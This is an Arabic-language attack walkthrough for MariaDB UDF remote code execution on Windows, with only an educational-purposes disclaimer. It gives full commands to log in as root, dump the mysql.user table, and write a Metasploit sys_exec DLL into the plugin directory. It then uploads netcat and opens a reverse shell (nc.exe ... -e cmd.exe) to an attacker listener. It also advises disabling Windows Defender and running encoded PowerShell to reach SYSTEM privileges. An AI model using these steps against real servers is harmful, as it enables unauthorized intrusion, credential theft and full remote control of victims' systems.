MariaDB 10.5 تنفيذ كود مُوثَّق - sys_exec

يوفر هذا الدليل تعليمات مفصلة لاستغلال ثغرة الدوال المعرفة من قبل المستخدم (UDF) في MariaDB على خادم بعيد. تتضمن هذه الخطوات تنزيل وتنفيذ كود ضار على نظام قاعدة بيانات ضعيف.

تحذير: هذه الوثيقة للأغراض التعليمية فقط. الاستخدام غير المصرح به لهذه التقنيات غير قانوني وغير أخلاقي.

خطوات إعادة إنتاج الهجوم

١. الاتصال بخادم MariaDB البعيد

استخدم الأمر التالي للاتصال بخادم MySQL:

mysql -h 192.168.214.129 -u root -pPassw0rd!

٢. التحقق من إصدار MariaDB

لتحديد إصدار MySQL قيد التشغيل، نفذ:

select @@version;

٣. عرض جميع المستخدمين

لرؤية المستخدم الحالي المسجل الدخول:

select user();

٤. تفريغ جميع المعلومات حول المستخدم الجذر

استرجع جميع التفاصيل المتعلقة بالمستخدم الجذر:

select * from mysql.user where user='root';

٥. التحقق من صلاحيات المستخدم

تحديد الصلاحيات التي يمتلكها المستخدم الحالي:

show grants;

٦. التحقق من بنية النظام

تحديد ما إذا كانت بنية النظام عرضة لثغرة UDF:

select @@version_compile_os, @@version_compile_machine;

٧. التحقق من دليل الإضافات (Plugin Directory)

تحديد دليل الإضافات الذي يمكن رفع ملفات UDF إليه:

select @@plugin_dir;

٨. نسخ ملف DLL ذو ٣٢ بت

انسخ ملف DLL ذو ٣٢ بت من دليل استغلال Metasploit:

ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll

٩. تحويل ملف DLL إلى تنسيق Base64

قم بترميز ملف udf.dll بتنسيق base64:

cat udf.dll | base64 | tr -d '\n' > udf.base64

١٠. نقل ملف DLL إلى خادم MySQL

انسخ قيمة base64 من udf.base64 وانقلها إلى خادم MySQL:

افتح udf.base64 في محرر نصوص:

leafpad udf.base64

في MariaDB، قم بتشغيل:

select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';

بدلاً من ذلك، يمكن استخدام المسار التالي إذا لزم الأمر:

C:\Program Files\MariaDB 11.1\lib\plugin\

١١. تحميل دالة UDF في MariaDB

نفذ الأمر التالي في MariaDB لإنشاء دالة جديدة:

create function sys_exec returns int soname 'udf.dll';

ملاحظة: يمكنك أيضًا استخدام sys_eval أو sys_get أو do_system أو sys_bineval. تأكد من استخدام int وليس into.

١٢. التحقق من تثبيت UDF

تحقق من نجاح تثبيت دالة UDF:

select * from mysql.func;

١٣. تجهيز ملف Netcat الثنائي

انسخ ملف Netcat القابل للتنفيذ إلى دليلك المحلي وقم بترميزه بتنسيق base64:

cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64

١٤. نقل Netcat إلى خادم MariaDB

افتح nc.base64 في محرر نصوص:

leafpad nc.base64

ثم في MySQL:

select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';

بدلاً من ذلك، يمكنك رفعه مباشرة باستخدام:

mysql -u root -p -h 192.168.214.129 < nc.base64

١٥. تنفيذ Netcat لإنشاء شل عكسي (Reverse Shell)

قم بتشغيل مستمع Netcat على المنفذ 443:

sudo nc -nlvp 443

قم بتنفيذ Netcat على الخادم البعيد لإنشاء شل عكسي:

select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');

ملاحظة: قد يتم حظر هذه الخطوة بواسطة Windows Defender أو برامج مكافحة الفيروسات الأخرى. يُوصى باستخدام أوامر PowerShell المشفرة (powershellbase64) والتأكد من إيقاف تشغيل Windows Defender.

١٦. تنفيذ أوامر PowerShell

نفذ أمر PowerShell باستخدام ترميز base64:

select sys_exec('powershellbase64');

ملاحظة: قد تحصل على صلاحيات NT AUTHORITY\SYSTEM في العديد من الحالات.

معلومات إضافية

• حذف دالة: لإزالة أي دوال UDF تم إنشاؤها:

  root@kitploit:~

  drop function sys_get;
  

• التحقق من Local Infile: تحقق مما إذا كان السكربت المحلي ممكّنًا:

  root@kitploit:~

  show variables like 'local_infile';
  

• البحث عن المستخدمين الذين لديهم صلاحية Insert: تحديد المستخدمين الذين لديهم صلاحية الإدراج:

  root@kitploit:~

  use mysql;
  select user from user where insert_priv='Y' and Host='%';
  

إخلاء مسؤولية: هذه الوثيقة مخصصة للأغراض التعليمية وأبحاث الأمن السيبراني فقط. يمكن أن يؤدي سوء استخدام هذه المعلومات إلى تهم جنائية وعقوبات قانونية شديدة. احرص دائمًا على الحصول على إذن من السلطات المختصة قبل اختبار أي ثغرات على شبكة أو نظام.